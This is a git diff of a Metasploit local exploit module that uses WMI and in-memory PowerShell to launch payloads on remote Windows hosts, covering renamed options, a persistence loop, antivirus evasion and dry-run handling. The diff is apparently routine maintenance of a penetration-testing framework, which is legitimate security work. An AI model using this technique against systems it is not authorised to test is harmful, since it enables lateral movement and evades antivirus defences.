1
1
# -*- coding: binary -*-
2
- ##
3
- # $Id$
4
- ##
5
2
6
3
##
7
- # This file is part of the Metasploit Framework and may be subject to
8
- # redistribution and commercial restrictions. Please see the Metasploit
9
- # Framework web site for more information on licensing and terms of use.
10
- # http://metasploit.com/framework/
4
+ # This module requires Metasploit: http://metasploit.com/download
5
+ # Current source: https://github.com/rapid7/metasploit-framework
11
6
##
12
7
13
8
##
@@ -29,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Local
29
24
30
25
def initialize ( info = { } )
31
26
super ( update_info ( info ,
32
- 'Name' => "Current User WMI Exec Powershell" ,
27
+ 'Name' => "Authenticated WMI Exec via Powershell (Local Exploit) " ,
33
28
'Description' => %q{
34
29
This module uses WMI execution to launch a payload instance on a remote machine.
35
30
In order to avoid AV detection, all execution is performed in memory via psh-net
@@ -49,6 +44,7 @@ def initialize(info={})
49
44
'SessionTypes' => [ 'meterpreter' ] ,
50
45
'Targets' => [ [ 'Universal' , { } ] ] ,
51
46
'DefaultTarget' => 0 ,
47
+ 'DisclosureDate' => "Aug 19 2012"
52
48
53
49
) )
54
50
@@ -63,8 +59,8 @@ def initialize(info={})
63
59
64
60
register_advanced_options (
65
61
[
66
- OptBool . new ( 'PERSIST ' , [ false , 'Run the payload in a loop' ] ) ,
67
- OptBool . new ( 'RUN_REMOTE_WOW64 ' , [
62
+ OptBool . new ( 'PowerShellPersist ' , [ false , 'Run the payload in a loop' ] ) ,
63
+ OptBool . new ( 'RunRemoteWow64 ' , [
68
64
false ,
69
65
'Execute powershell in 32bit compatibility mode, payloads need native arch' ,
70
66
false
@@ -86,7 +82,7 @@ def build_script
86
82
87
83
# Create base64 encoded payload
88
84
psh_payload_raw = Msf ::Util ::EXE . to_win32pe_psh_reflection ( framework , payload . raw )
89
- if datastore [ 'PERSIST ' ]
85
+ if datastore [ 'PowerShellPersist ' ]
90
86
fun_name = Rex ::Text . rand_text_alpha ( rand ( 2 ) +2 )
91
87
sleep_time = rand ( 5 ) +5
92
88
psh_payload = "function #{ fun_name } {#{ psh_payload } };while(1){Start-Sleep -s #{ sleep_time } ;#{ fun_name } ;1}"
@@ -97,7 +93,7 @@ def build_script
97
93
# Build WMI exec calls to every host into the script to reduce PS instances
98
94
# Need to address arch compat issue here, check powershell.exe arch, check pay arch
99
95
# split the hosts into wow64 and native, and run each range separately
100
- ps_bin = datastore [ 'RUN_REMOTE_WOW64 ' ] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
96
+ ps_bin = datastore [ 'RunRemoteWow64 ' ] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
101
97
# for whatever reason, passing %systemroot% instead of 'C:\windows' fails
102
98
103
99
if datastore [ "RHOSTS" ]
@@ -125,8 +121,8 @@ def exploit
125
121
126
122
# Make sure we meet the requirements before running the script
127
123
# Shell sessions can't kill PIDs
128
- if !( session . type == "meterpreter" || have_powershell? )
129
- print_error ( "Incompatible Environment " )
124
+ if !have_powershell?
125
+ print_error ( "Incompatible environment - PowerShell is required " )
130
126
return
131
127
end
132
128
# SYSTEM doesnt have credentials on remote hosts
@@ -136,10 +132,14 @@ def exploit
136
132
end
137
133
138
134
script = build_script
139
- print_good script if datastore [ 'PSH::dry_run' ]
135
+
136
+ if datastore [ 'Powershell::Post::dry_run' ]
137
+ print_good script
138
+ return
139
+ end
140
140
#
141
141
print_good ( "#{ datastore [ "RHOSTS" ] ? psh_exec ( script ) : psh_exec ( script , true , false ) } " )
142
- print_good ( 'Finished! ')
142
+ vprint_good ( 'PSH WMI exec is complete. ')
143
143
end
144
144
145
145
# Wrapper function for instantiating a WMI win32_process
@@ -177,7 +177,6 @@ def ps_wmi_exec(opts = {})
177
177
178
178
EOS
179
179
180
-
181
180
return ps_wrapper
182
181
end
183
182
0 commit comments